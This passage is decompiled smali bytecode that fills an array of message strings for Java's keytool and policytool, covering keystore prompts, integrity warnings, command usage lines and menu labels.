                                                                              1080const-string v3, "What is the name of your State or Province?"
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "What is the two-letter country code for this unit?"
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "Is {0} correct?"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "no"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "yes"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "y"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]: "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "Alias <{0}> has no key"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "Alias <{0}> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* you must provide your keystore password. *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* you must provide the srckeystore password. *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "Certificate reply does not contain public key for <{0}>"
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "Incomplete certificate chain in reply"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "Certificate chain in reply does not verify: "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "Top-level certificate in reply:\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... is not trusted. "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "Install reply anyway? [no]: "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "NO"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "Failed to establish chain from reply"
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "n"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "Wrong answer, try again"
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "Secret Key not generated, alias <{0}> already exists"
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "Please provide -keysize for secret key generation"
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "keytool usage:\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "Extensions: "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <alias>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genseckey [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <alias>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v] "
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
                                                                              1590const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1591aput-object v3, v2, v4
                                                                              1593const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t [-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <keypass>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <alias>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <alias>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "Warning: A public key for alias {0} does not exist. Make sure a KeyStore is properly configured."
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "Warning: Class not found: {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: arg"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "Warning: Invalid argument(s) for constructor: {0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "Illegal Principal Type: {0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "Illegal option: {0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "Usage: policytool [options]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <file>] policy file location"
                                                                              1765aput-object v3, v2, v5
                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "New"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "Open"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "Save"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "Save As"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "View Warning Log"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "Exit"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "Add Policy Entry"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "Edit Policy Entry"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
                                                                              1845const-string v3, "Remove Policy Entry"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "Edit"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "Retain"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
